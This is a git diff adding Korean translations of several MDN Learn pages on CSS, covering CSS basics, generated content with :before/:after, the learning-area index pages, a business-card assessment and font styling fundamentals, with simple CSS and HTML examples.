사용자에게 문서를 제공 한다는 것은 대상이 사용 할 수 있는 형식으로 문서를 변환하는 것을 의미합니다. {{Glossary("browser","Browsers")}}, {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}} 또는 {{Glossary("Microsoft Edge","Edge")}} 는 컴퓨터 화면, 프로젝터 또는 프린터 등의 문서를 시각적으로 표시하도록 설계되었습니다.

+ +
+

참고: 브라우저는 {{Glossary("User agent","user agent")}} 라고도 하며, 기본적으로 컴퓨터 시스템 내부의 개인을 나타내는 컴퓨터 프로그램을 의미합니다. 브라우저는 CSS 에 대해 이야기 할 때, 우리가 생각하는 주요 유형의 user agent 이지만, 유일한 브라우저는 아닙니다. HTML 및 CSS 문서를 인쇄할 PDF로 변환하는 것과 같은 사용 가능한 다른 사용자 user agent 가 있습니다.

+
+ +

CSS 는 매우 기본적인 텍스트 문서 스타일링에 사용될 수 있습니다 — 예를 들어, 제목 및 링크의 색상 과 크기 변경. 또한, 레이아웃을 만드는 데 사용 할 수 있습니다 — 예를 들어, 단일 텍스트 열을 변환 (기본 콘텐츠 영역과 관련 정보에 대한 사이드 바가 있는 레이아웃으로) 하는 등 레이아웃을 만드는 데 사용 할 수 있습니다. 애니메이션 과 같은 효과에도 사용 할 수 있습니다. 구체적인 예는 이 단락의 링크를 살펴 보십시오.

+ +

CSS 구문

+ +

CSS 는 규칙 기반 언어입니다 — 웹 페이지의 특정 요소 또는 요소 그룹에 적용할 스타일 그룹을 지정하는 규칙을 정의합니다. 예를 들어 "내 페이지의 제목이 빨간색이며 큰 텍스트로 표시 되기를 원합니다."

+ +

다음 코드는 위에서 설명한 스타일을 실행 하는 매우 간단한 CSS 규칙을 보여줍니다:

+ +
h1 {
+    color: red;
+    font-size: 5em;
+}
+ +

규칙은 {{Glossary("CSS Selector", "selector")}} 와 함께 열립니다. 스타일을 지정할 HTML 요소를 선택 합니다. 이 경우 level 1 제목 ({{htmlelement("h1")}}) 을 스타일링합니다.

+ +

그런 다음 중괄호 { } 가 있습니다. 그 안에는 속성 쌍의 형태를 취하는 하나 이상의 선언이 있습니다.  각 쌍은 우리가 선택한 요소의 속성을 지정하고 속성에 부여할 값을 지정합니다.

+ +

콜론 앞에는, 속성이 있고 콜론 뒤에는 값이 있습니다. CSS {{Glossary("property/CSS","properties")}} 는 지정되는 속성에 따라 허용되는 값이 다릅니다. 이 예제에서는 다양한 색상 값 을 사용 할 수 있는 color 속성이 있습니다. 또한 font-size 속성도 있습니다. 이 속성은 다양한 크기 단위 를 값으로 사용 할 수 있습니다.

+ +

CSS 스타일 시트에는 여러 규칙이 하나씩 포함되어 있습니다.

+ +
h1 {
+    color: red;
+    font-size: 5em;
+}
+
+p {
+    color: black;
+}
+ +

일부 값은 빨리 배운다는 것을 알게 될 것이고, 반면에 다른 값은 여러분이 찾아야 할 것입니다. MDN 의 개별 속성 페이지는 잊었을 때 또는 값으로 사용 할 수 있는 다른 것을 알고자 할 때 속성과 해당 값을 빠르게 찾을 수 있는 방법을 제공합니다.

+ +
+

참고: MDN CSS 참조 에 나열된 모든 CSS 속성 페이지 (다른 CSS 기능과 함께) 에 대한 링크를 찾을 수 있습니다.  또는, CSS 기능에 대한 자세한 정보를 찾아야 할 때 마다, 자주 사용하는 검색 엔진에서 "mdn css-feature-name" 을 검색하는 데 익숙해야 합니다. 예를 들어, "mdn color" 및 "mdn font-size" 를 검색해 보십시오!

+
+ +

CSS Modules

+ +

CSS 를 사용하여 스타일을 지정할 수 있는 것이 너무 많으므로, 언어는 module 로 분류됩니다. MDN 을 탐색할 때 이러한 module 에 대한 참조가 표시되면, 많은 설명서 페이지가 특정 modul 을 중심으로 구성되어 있습니다. 예를 들어, 배경 및 테두리 module 에 대한 MDN 참조를 통해 그 용도가 무엇이며, 그 용도에 포함된 다른 속성 및 기타 기능을 확인할 수 있습니다. 또한 기술을 정의하는 CSS Specification 에 대한 링크를 찾을 수 있습니다 (아래 참조).

+ +

이 단계에서는 CSS 가 어떻게 구성되어 있는지에 대해 너무 걱정할 필요가 없지만, 예를 들어 특정 속성이 다른 유사한 것들 중에서 발견될 가능성이 높기 때문에, 동일한 specification 에 있을 수 있다는 것을 알고 있다면 정보를 쉽게 찾을 수 있습니다.

+ +

구체적인 예를 들어, 배경 및 테두리 module 로 돌아가 보겠습니다 — 이 module 에서 background-color 및 border-color 속성을 정의하는 것이 논리적이라고 생각 할 수 있습니다. 당신이 옳을 겁니다.

+ +

CSS Specifications

+ +

모든 웹 표준 기술 (HTML, CSS, JavaScript 등.) 은 표준 조직 ({{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} 또는 {{glossary("Khronos")}} 와 같은) 이 게시한 specifications (또는 단순히 "specs") 이라는 거대한 문서로 정의됩니다. 이러한 기술의 작동 방식을 정확하게 정의하십시오.

+ +

CSS 는 다르지 않습니다 — W3C 내에서 CSS Working Group 이라는 곳에서 개발 했습니다. 이 그룹은 브라우저 공급 업체 및 CSS 에 관심이 있는 다른 회사의 대표로 구성됩니다. 독립적인 목소리로 행동하는 초청된 전문가  로 알려진 다른 사람들도 있습니다. 그들은 회원 조직에 연결되어 있지 않습니다.

+ +

새로운 CSS 기능은 CSS Working Group 에 의해 개발되거나 지정됩니다. 때로는 특정 브라우저가 일부 기능에 관심이 있기 때문에 웹 디자이너와 개발자가 기능을 요구하고, 때로는 실무 그룹 자체가 요구 사항을 식별했기 때문입니다. CSS 는 지속적으로 개발 중이며 새로운 기능을 사용할 수 있습니다. 그러나 CSS 의 중요한 점은 모든 사람이 오래된 웹 사이트를 망가뜨릴 수 있는 방식으로 변경하지 않도록 매우 열심히 노력한다는 것입니다. 현재 사용 가능한 제한된 CSS 를 사용하여 2000년에 구축된 웹 사이트는 여전히 브라우저에서 사용 할 수 있습니다!

+ +

CSS 를 처음 첩하는 사람들은, CSS specs 이 압도적이라고 생각할 것입니다 — 웹 개발자가 CSS 를 이해하기 위해 읽는 것이 아니라 엔지니어가 user agents 의 기능에 대한 지원을 구현하는 데 사용하기 위한 것입니다. 많은 숙련된 개발자가 MDN 설명서나 기타 자습서를 참조하는 것이 좋습니다. 그러나 사용중인 CSS, 브라우저 지원 (아래 참조) 및 specs 간의 관계를 이해하고 존재한다는 것을 아는 것이 좋습니다.

+ +

브라우저 지원

+ +

CSS 가 지정되면 하나 이상의 브라우저가 이를 구현한 경우에만 웹 페이지를 개발하는 데 유용합니다.  이것은 CSS 파일의 명령을 화면에 출력할 수 있는 것으로 바꾸도록 코드가 작성되었음을 의미합니다. CSS 작동 방식 수업에서 이것에 대해 자세히 살펴보겠습니다. 모든 브라우저가 동시에 기능을 구현하는 것은 드문 일이므로 일반적으로 일부 브라우저에서는 CSS 의 일부를 사용할 수 있고, 다른 브라우저에서는 사용할 수 없는 경우가 있습니다. 이러한 이유로, 구현 상태를 확인할 수 있는 것이 유용합니다. MDN 의 각 속성 페이지에서 관심있는 속성의 상태를 볼 수 있으므로 웹 사이트에서 해당 속성을 사용할 수 있는지 알 수 있습니다.

+ +

다음은 CSS font-family 속성에 대한 데이터 차트입니다.

+ +

{{Compat("css.properties.font-family")}}

+ +

다음은 뭐죠

+ +

CSS 가 무엇인지 이해했으니, 이제 CSS 시작하기 로 넘어가서 CSS 를 직접 작성할 수 있습니다.

+ +

{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}

+ +

이번 강의에서는

+ +
    +
  1. CSS 란 무엇인가?
  2. +
  3. CSS 로 시작하기
  4. +
  5. CSS 의 구조
  6. +
  7. CSS 작동 방식
  8. +
  9. 새로운 지식 사용
  10. +
diff --git a/files/ko/learn/css/howto/generated_content/index.html b/files/ko/learn/css/howto/generated_content/index.html new file mode 100644 index 0000000000..216305f889 --- /dev/null +++ b/files/ko/learn/css/howto/generated_content/index.html @@ -0,0 +1,123 @@ +--- +title: 내용물 +slug: Learn/CSS/Howto/Generated_content +translation_of: Learn/CSS/Howto/Generated_content +--- +

{{ CSSTutorialTOC() }}

+
+ 중요: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+

{{ previousPage("/en-US/docs/CSS/Getting_Started/Color", "색상") }}CSS 시작하기 안내서 9번째 장; 이번에는 CSS에서Document에 표시될 내용물을 추가 하는 방법을 알아보자. stylesheet를 수정해서 텍스트 내용과 이미지를 수정해 보자.

+

정보: 내용물

+

CSS사용상의 가장 큰 장점은 document의 스타일과 내용물을 분리할 수 있도록 도와준다. 하지만 아직은 Document의 일부가 아니라 Stylesheet의 일부로서 존재해야 이치가 맞아 보이는 내용들도 있다.

+

stylesheet에 놓여진 내용물(content)은 텍스트나 이미지로 구성될 수 있다. Document의 구조와 밀접하게 연결된 내용물(content)은 stylesheet에 명시 할수 있다.

+
+
+ 좀더 자세히
+

stylesheet에 내용물(content)을 표시하는 것은 복잡한 문제를 발생 시킬 수도 있다. 예를 들면, 동일한 stylesheet를 사용하는 여러 언어를 지원하는 Document의 경우이다. 만약 stylesheet일 일부분이 번역되어야 하는 경우가 있다면 이 부분은 stylesheet와는 분리된 파일로 저장하고 Document 언어에 맞는 파일이 연결 되도록 할당 해야 한다.

+

이미지나 심볼 혹은 모든 언어나 문화에 공통으로 사용되는 것을 쓴다면 이러한 문제는 발생하지 않는다.

+

stylesheet에 작성된 내용물(Content)은 DOM의 일부가 될 수는 없다.

+
+

텍스트 내용물

+

CSS는 element 전후로 텍스트 내용물을 넣을 수 있다. 이를 위해서는, 규칙을 만들고 {{ cssxref(":before") }}나 {{ cssxref(":after") }}를 구분자로 넣고 여기에 추가 하라. 선언부에 {{ cssxref("content") }}속성선언과 그 값으로 텍스트를 추가 하라.

+
+
+ 예제
+

이 규칙은 모든 'ref' class element 앞에  'Reference :'텍스트를 추가 한다.

+
.ref:before {
+  font-weight: bold;
+  color: navy;
+  content: "Reference: ";
+}
+
+
+
+
+ 좀더 자세히
+

stylesheet의 코드셋은 UTF-8이 기본이다. 그러나 링크 내나 stylesheet내 혹은 다른 방법으로 코드셋을 설정 할 수 있다. CSS 사양서의 4.4 CSS style sheet representation를 참고 하라.

+

독특한 캐릭터도 백슬레쉬(\)와 함께 사용하는 escape 표시법으로 사용 할 수 있다. 예를 들어 \256B는 블랙퀸 체스 심볼(♛)이다. 좀더 자세히는 CSS 사양서의  문자열 코드표에 없는 문자열 참조나 CSS 사양서의 Characters and case를 참고하라.

+
+

이미지 내용물

+

element 전/후로 이미지를 추가 하려면, {{ cssxref("content") }}속성에 이미지의 URL을 넣어라.

+
+
+ 예제
+

이 규칙은 'glossary' class 다음에 공백과 하나의 아이콘을 추가한다.

+
a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+
+
+

element의 배경으로 이미지를 추가 하고자 한다면, {{ cssxref("background") }}속성 값에 이미지의 URL을 할당 하라. 이것이 배경색이나, 이미지를 설정하거나, 이미지를 반복하거나 혹은 다른 사항을 설정하는 단순한 방법이다.

+
+
+ 예제
+

이 규칙은 특정 element의 배경을 이미지 URL로 지정 하는 것이다.

+

이 설렉터느 element의 id를 나타낸다. 'no-repeat' 값은 이미지가 한번만 나타나는 것을 말한다.

+
#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+
+
+
+
+ 좀더 자세히
+

배경설정에 관한 특별한 속성이나 이미지 설정 옵션에 관한 자세한 정보는 {{ cssxref("background") }} 참조 페이지를 보라.

+
+

액션: 배경 이미지 추가 하기

+

이 이미지는 아래쪽에 파란색 줄이 있는 흰사각형이다.:

+ + + + + + +
Image:Blue-rule.png
+
    +
  1. 이 이미지를 다운 받아 예제파일들이 있는 폴더에 저장하라. (이미지에서 왼쪽 클릭을 하여 나타나는 메뉴에서 "다른 이름으로 사진저장"을 선택하여 예제가 있는 폴더를 선택하여 저장)
  2. +
  3. CSS파일을 열어 아래 규칙을 body부분에 추가 하여 전체 배경으로 해당 이미지를 설정하라. +
    background: url("Blue-rule.png");
    +
    +

    일단 위의 값은 이미지를 반복적으로 보여주는데, 기본 설정이므로 따로 표시 해 줄 필요는 없다. 이미지는 수직/수평적으로 반복되어 아래와 같이 편지지 같은 화면을 제공한다.

    +
    +

    Image:Blue-rule-ground.png

    +
    +
    +

    Cascading Style Sheets

    +
    +
    +

    Cascading Style Sheets

    +
    +
    +
    +
  4. +
+
+
+ 도전
+

아래 아미지를 다운 받아보라.

+ + + + + + +
Image:Yellow-pin.png
+

Stylesheet에 하나의 규칙을 추가 하여 아래와 같이 각라인 맨 앞에 나타나도록 하라.

+
+

Image:Blue-rule-ground.png

+
+
+ image:Yellow-pin.png Cascading Style Sheets
+
+ image:Yellow-pin.png Cascading Style Sheets
+
+
+
+
+ Possible solution
+

Add this rule to your stylesheet:

+
p:before{
+  content: url("yellow-pin.png");
+}
+
+

 

+ Hide solution
+ 정답 확인.
+

다음에는?

+

{{ nextPage("/en-US/docs/CSS/Getting_Started/Lists", "리스트") }}Stylesheet에 내용물을 추가 하는 일반 방법으로 리스트로 표기하는 방법이 있다. 다음장에는 specify style for 리스트 elements를 위한 스타일 표기법에 대해 알아보자.

diff --git a/files/ko/learn/css/howto/index.html b/files/ko/learn/css/howto/index.html new file mode 100644 index 0000000000..cd63db7d1a --- /dev/null +++ b/files/ko/learn/css/howto/index.html @@ -0,0 +1,86 @@ +--- +title: 일반적인 CSS 문제 해결하기 +slug: Learn/CSS/Howto +translation_of: Learn/CSS/Howto +--- +
{{LearnSidebar}}
+ +

다음 링크들은 일반적인 CSS 문제들에 대한 해결방법을 제공합니다.

+ +

일반적인 사례

+ +
+ + + +
+ +

Uncommon and advanced techniques

+ +

CSS allows very advanced design techniques. These articles help demistify the harder use cases you may face.

+ +

General

+ + + +

Advanced effects

+ + + +

Layout

+ + + +

See also

+ +

CSS FAQ — A variety of topics: from debugging to selector usage.

diff --git a/files/ko/learn/css/index.html b/files/ko/learn/css/index.html new file mode 100644 index 0000000000..7b7c715da8 --- /dev/null +++ b/files/ko/learn/css/index.html @@ -0,0 +1,60 @@ +--- +title: CSS를 이용한 HTML 스타일링 익히기 +slug: Learn/CSS +tags: + - Beginner + - CSS + - CodingScripting + - Landing + - Topic +translation_of: Learn/CSS +--- +
{{LearnSidebar}}
+ +

{{glossary("CSS")}}(Cascading Stylesheets – 종속형 스타일시트)는 {{glossary("HTML")}}을 익힌 후 가장 먼저 배워야할 웹기술입니다. HTML이 콘텐츠의 구조와 의미를 정의하는 반면 CSS는 스타일과 레이아웃을 지정합니다. 예를 들어, CSS를 사용하면 콘텐츠의 글꼴, 색상, 크기 및 간격을 변경하거나, 여러 개의 열로 분할하거나, 애니메이션이나 기타 장식 효과를 추가할 수 있습니다.

+ +

학습 경로

+ +

CSS에 도전하기 전에 HTML의 기초를 익혀야 합니다. 먼저 HTML 소개를 진행하면서 다음을 익히시는게 좋습니다.

+ + + +

HTML의 기본 원리를 이해하고 나면, HTML과 CSS 사이를 왕복하며 동시에 학습하는걸 추천드립니다. HTML은 CSS를 활용할 때 훨씬 흥미롭고 재미있으며, HTML을 모르고는 CSS를 제대로 배울 수 없기 때문입니다.

+ +

이 주제를 시작하기 전에, 컴퓨터의 사용법과 웹을 둘러보는 일이 익숙해야 합니다. 기본 소프트웨어 설치하기에서 설명하는 기본적인 작업 환경을 갖춰야 하고, 파일 다루기에서 설명하는 파일 생성 및 관리도 이해해야 합니다. 두 안내서 모두 처음 시작하는 분을 위한 Web과 함께 시작하기의 일부분이죠.

+ +

본 주제를 시작하기 전에 Web과 함께 시작하기를 먼저 해보시는게 좋겠습니다. 그러나 CSS 기초 글에서 다루는걸 여기 CSS 소개에서 훨씬 상세하게 다루므로 필수는 아닙니다.

+ +

구성

+ +

아래는 추천 순서로 정렬한 본 주제의 구성입니다. 첫 항목부터 시작하세요.

+ +
+
CSS 소개
+
CSS 작동 원리에 대한 기초로, 선택자와 속성, CSS 규칙을 쓰는 법, HTML에 적용하기, 길이나 색상 등 단위를 특정하는 법, 종속과 상속, 박스 모델의 기초, CSS 디버그 등을 다룹니다.
+
텍스트 스타일링
+
여기서 글꼴, 굵기 및 기울임꼴, 줄과 문자 간격, 그림자 및 기타 텍스트 기능 설정을 비롯한 텍스트 스타일링 기본 사항을 살펴 봅니다. 페이지에 맞춤 글꼴을 적용하거나 목록 및 링크에 스타일을 적용할 수도 있습니다.
+
박스 스타일링
+
다음으로 웹페이지 레이아웃을 위한 기본 단계 중 하나인 박스 스타일링을 살펴 봅니다. 먼저 박스 모델을 다시 요약하여 설명한 후, 내부 여백(padding), 테두리(borders) 및 외부 여백(margins)을 설정하거나 사용자 지정 배경색, 이미지 및 기타 기능을 설정하고, 박스에 그림자나 필터와 같은 멋진 기능을 설정하는 등 상자 레이아웃을 제어하는 법을 알아봅니다.
+
CSS 레이아웃
+
이 시점에서 이미 CSS 기초, 텍스트 스타일링 및 콘텐트가 포함된 박스의 스타일링 및 조작을 살펴보았습니다. 이제는 박스를 뷰포트(viewport) 또는 다른 박스와 관련하여 올바른 위치에 배치하는 방법을 살펴볼 시간입니다. 필요한 사전 요구 사항을 포함하여, CSS 레이아웃, 디스플레이(display) 속성의 다양한 설정, 플로트(float) 및 위치 지정(positioning)과 관련된 기존 레이아웃 방식과 더불어 유동적 박스(flexbox) 같은 새롭고 놀라운 레이아웃 도구를 깊게 살펴봅니다.
+
반응형 디자인 (TBD)
+
요즘은 다양한 장치로 웹을 탐색하기 때문에 반응형 웹 디자인(RWD; Responsive Web Design)은 핵심적인 웹 개발 기술이 되었습니다. 이 모듈에서는 반응형 웹 디자인의 기본 원칙과 도구들을 다루며, 화면 너비, 방향, 해상도와 같은 장치 특성에 따라 다른 CSS를 적용하는 방법을 설명합니다. 그리고 이런 특성에 따라 다양한 비디오와 이미지를 제공할 수 있게 하는 기술을 탐구합니다.
+
+ +

CSS로 일상적인 문제 해결하기

+ +

CSS를 사용하여 일반적인 문제 해결하기는 웹페이지를 만들 때의 매우 흔한 문제들을 CSS를 사용해 해결하는 방법을 살펴보는 섹션들의 링크를 제공합니다.

+ +

시작부터 가장 많이 하게 되는 일은 HTML 요소들(elements)의 색상과 배경색을 지정하고, 크기나 모양 또는 위치를 변경하고, 테두리(borders)를 정의하고 추가하는 일입니다. 하지만 일단 CSS의 기초에 대해 확실하게 이해만 하면 못하는 일이 거의 없게 됩니다. CSS 학습의 장점 중 하나는 잘 모르는 것에 대해서도 일단 기초만 익혀두면 무엇을 할 수 있고 무엇을 할 수 없는지를 꽤 정확하게 느낄 수 있다는 것입니다!

+ +

더 알아보기

+ +
+
MDN의 CSS
+
MDN의 CSS 문서 목록에 대한 주 진입 지점입니다. CSS 언어의 모든 기능에 대한 자세한 참조 문서 목록을 찾을 수 있습니다. 혹시 속성(property)이 가질 수 있는 모든 값(values)에 대한 정보가 필요한가요? 그렇다면 이곳으로 이동하세요.
+
diff --git "a/files/ko/learn/css/introduction_to_css/\352\270\260\353\263\270\354\240\201\354\235\270_css_\354\235\264\355\225\264/index.html" "b/files/ko/learn/css/introduction_to_css/\352\270\260\353\263\270\354\240\201\354\235\270_css_\354\235\264\355\225\264/index.html" new file mode 100644 index 0000000000..d16df40221 --- /dev/null +++ "b/files/ko/learn/css/introduction_to_css/\352\270\260\353\263\270\354\240\201\354\235\270_css_\354\235\264\355\225\264/index.html" @@ -0,0 +1,128 @@ +--- +title: 기본적인 CSS 이해 +slug: Learn/CSS/Introduction_to_CSS/기본적인_CSS_이해 +translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}
+ +

You've covered a lot in this module, so it must feel good to have reached the end! The final step before you move on is to attempt the assessment for the module — this involves a number of related exercises that must be completed in order to create the final design — a business card/gamer card/social media profile.

+ + + + + + + + + + + + +
Prerequisites:Before attempting this assessment you should have already worked through all the articles in this module.
Objective:To test comprehension of fundamental CSS theory, syntax and mechanics.
+ +

Starting point

+ +

To get this assessment started, you should:

+ + + +
+

Note: Alternatively, you could use a site like JSBin or Thimble to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors, and use this URL to point the <img> element to the image file. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <style> element in the head of the document.

+
+ +

Project brief

+ +

You have been provided with some raw HTML and an image, and need to write the necessary CSS to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile. The following sections describe what you need to do.

+ +

Basic setup:

+ + + +

Taking care of the selectors and rulesets provided in the CSS resource file:

+ + + +

New rulesets you need to write:

+ + + +
+

Note: Bear in mind that the second ruleset sets font-size: 10px; on the <html> element — this means that for any descendants of <html>, an em will be equal to 10px rather than 16px as it is by default. (This is of course, provided the descendants in question don't have any ancestors sitting in between them and <html> in the hierarchy that have a different font-size set on them. This could affect the values you need, although in this simple example this is not an issue.)

+
+ +

Other things to think about:

+ + + +

Hints and tips

+ + + +

Example

+ +

The following screenshot shows an example of what the finished design should look like:

+ +

A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image.

+ +

 

+ +

Assessment

+ +

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

+ +

{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/css/styling_text/fundamentals/index.html b/files/ko/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..64ee947683 --- /dev/null +++ b/files/ko/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,734 @@ +--- +title: 기본적인 텍스트 및 글꼴 스타일링 +slug: Learn/CSS/Styling_text/Fundamentals +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}
+ +

이 기사에서는 {{glossary("CSS")}} 를 사용하여 텍스트 스타일링을 마스터하기 위한 과정을 시작합니다. 여기에서는 글꼴 굵기, 종류 및 스타일, 글꼴 약식 (shorthand), 텍스트 정렬 및 기타 효과, 줄 및 문자 간격 설정을 포함하여, 텍스트/글꼴 스타일링의 모든 기본 사항에 대해 자세히 설명합니다.

+ + + + + + + + + + + + +
전제조건Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS).
목적:웹 페이지에서 텍스트 스타일을 지정하는 데 필요한 기본 속성 및 기술 습득하기.
+ +

CSS 에서 텍스트 스타일링과 관련이 있는 것은 무엇입니까?

+ +

HTML 및 CSS 를 사용한 작업에서 이미 경험한 것처럼 요소 내부의 텍스트는 요소의 내용 박스안에 배치됩니다. 콘텐츠 영역의 왼쪽 상단 (또는 RTL 언어 콘텐츠의 경우, 오른쪽 상단) 에서 시작하여 행의 끝으로 흐릅니다. 끝까지 도달하면 다음 줄로 내려가서 모든 내용이 박스에 들어갈 때까지 다음 줄로 계속 진행합니다. 텍스트 내용은 일련의 인라인 요소처럼 효과적으로 작동하며, 서로 인접한 줄에 배치되면 줄 끝에 도달할 때까지 줄 바꿈을 만들지 않거나, {{htmlelement("br")}} 요소를 사용하여 수동으로 줄 바꿈을 수행하지 않습니다.

+ +
+

참고: 위의 단락으로 인해 혼동을 느끼게 되더라도 상관없이 — go back and review our 박스 모델 기사를 검토하여, 박스 모델 이론을 정리하십시오.

+
+ +

텍스트 스타일을 지정하는 데 사용되는 CSS 속성은 일반적으로 두 가지 카테고리로 분류되며, 이 기사에서는 별도로 살펴보겠습니다.properties used to style text generally fall into two categories, which we'll look at separately in this article:

+ + + +
+

참고: 요소 내부의 텍스트는 모두 하나의 단일 entity 로 영향을 받습니다. 텍스트의 하위 섹션은 적절한 요소 (예: {{htmlelement("span")}} 또는 {{htmlelement("strong")}}) 으로 감싸거나, or use a text-specific pseudo-element like ::first-letter (요소 텍스트의 첫 번째 문자 선택), ::first-line (요소 텍스트의 첫 번째 행 선택) 또는 ::selection (커서로 현재 강조 표시된 텍스트 선택) 과 같은 텍스트 특정 pseudo-element 를 사용하십시오.

+
+ +

글꼴

+ +

글꼴 스타일링의 속성을 살펴보도록 하겠습니다. 이 예에서는 동일한 HTML 샘플에 몇 가지 다른 CSS 속성을 적용합니다:

+ +
<h1>Tommy the cat</h1>
+
+<p>I remember as if it were a meal ago...</p>
+
+<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.</p>
+ +

완성된 예제는 Github 에서 찾을 수 있습니다 (소스 코드 참조.)

+ +

색상

+ +

{{cssxref("color")}} 속성은 선택한 요소의 전경 내용의 색상을 설정합니다 (일반적으로 텍스트이지만, {{cssxref("text-decoration")}} 속성을 사용하여 텍스트에 배치되는 밑줄이나 오버라인과 같은 몇 가지 다른 것도 포함할 수 있습니다.

+ +

color 은 모든 CSS 색상 단위 를 사용할 수 있습니다. 예를 들면 다음과 같습니다:

+ +
p {
+  color: red;
+}
+ +

이렇게하면 다음과 같이 표준 브라우저 기본값이 검은색이 아닌 빨간색으로 표시됩니다:

+ + + +

{{ EmbedLiveSample('Color', '100%', 220) }}

+ +

글꼴 종류

+ +

텍스트에 다른 글꼴을 설정하려면, {{cssxref("font-family")}} 속성을 사용하여 브라우저에서 선택한 요소에 적용할 글꼴 (또는 글꼴 목록) 을 지정할 수 있습니다. 브라우저는 웹 사이트에 액세스하는 컴퓨터에서 글꼴을 사용할 수 있는 경우에만 글꼴을 적용합니다; 그렇지 않으면, 브라우저 {{anch("Default fonts", "default font")}} 만 사용합니다. 간단한 예는 다음과 같습니다:

+ +
p {
+  font-family: arial;
+}
+ +

이렇게하면 페이지의 모든 단락이 임의의 컴퓨터에 있는 arial 글꼴을 채택하게 됩니다.

+ +

웹 안전 글꼴

+ +

글꼴 사용가능 여부에 대해 말하자면, 일반적으로 모든 시스템에서 사용할 수 있는 글꼴의 수는 한정되어 있으므로 큰 걱정없이 사용할 수 있습니다. 이른바 웹 안전 글꼴 입니다.

+ +

대부분의 경우, 웹 개발자로서 텍스트 내용을 표시하는 데 사용되는 글꼴을 보다 구체적으로 제어하려고 합니다. 문제는 웹 페이지를 보는 데 사용되는 컴퓨터에서 어떤 글꼴을 사용할 수 있는지 알 수 있는 방법을 찾는 것입니다. 모든 경우에 이것을 알 수 있는 방법은 없지만, 웹 안전 글꼴은 가장 많이 사용되는 운영 체제 (윈도우, 맥, 가장 일반적인 리눅스 배포판, 안드로이드 및 iOS) 의 거의 모든 인스턴스에서 사용할 수 있는 것으로 알려져 있습니다.

+ +

실제 웹 안전 글꼴 목록은 운영 체제가 발전함에 따라 변경될 수 있지만, 최소한 다음과 같은 웹 안전 글꼴을 고려하는 것이 좋습니다 (이중 많은 글꼴이 90 년대 후반과 2000 년대 초에 웹 initiative 를 위한 Microsoft Core 글꼴 덕분에 많은 사람들이 대중화 되었습니다):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이름일반 유형참고
Arialsans-serifIt's often considered best practice to also add Helvetica as a preferred alternative to Arial as, although their font faces are almost identical, Helvetica is considered to have a nicer shape, even if Arial is more broadly available.
Courier NewmonospaceSome OSes have an alternative (possibly older) version of the Courier New font called Courier. It's considered best practice to use both with Courier New as the preferred alternative.
Georgiaserif
Times New RomanserifSome OSes have an alternative (possibly older) version of the Times New Roman font called Times. It's considered best practice to use both with Times New Roman as the preferred alternative.
Trebuchet MSsans-serifYou should be careful with using this font — it isn't widely available on mobile OSes.
Verdanasans-serif
+ +
+

Note: Among various resources, the cssfontstack.com website maintains a list of web safe fonts available on Windows and macOS operating systems, which can help you make your decision about what you consider safe for your usage.

+
+ +
+

Note: There is a way to download a custom font along with a webpage, to allow you to customize your font usage in any way you want: web fonts. This is a little bit more complex, and we will be discussing this in a separate article later on in the module.

+
+ +

기본 글꼴

+ +

CSS 는 글꼴의 일반적인 다섯 가지 이름:  serifsans-serif, monospace, cursive 및 fantasy 를 정의합니다. 이러한 일반 이름을 사용할 때 사용되는 정확한 글꼴은 각 브라우저에 달려 있으며, 실행중인 운영체제에 따라 다를 수 있습니다. 브라우저가 최소한 적합한 글꼴을 제공하기 위해 최선을 다하는 최악의 시나리오를 나타나냅니다. serif, sans-serif 및 monospace 는 상당히 예측가능하며 합리적인 무언가를 제공해야 합니다. 반면에 , cursive 및 fantasy 는 예측하기 어렵기 때문에, 테스트할 때 신중하게 사용하는 것이 좋습니다.

+ +

5 개의 이름은 다음과 같이 정의됩니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
용어정의예제
serifserifs 가 있는 글꼴 (the flourishes and other small details you see at the ends of the strokes in some typefaces)My big red elephant
sans-serifserifs 가 없는 글꼴.My big red elephant
monospace모든 문자의 너비가 같은 글꼴로, 일반적으로 코드 목록에 사용됩니다.My big red elephant
cursiveFonts that are intended to emulate handwriting, with flowing, connected strokes.My big red elephant
fantasy장식용 글꼴.My big red elephant
+ +

Font stacks

+ +

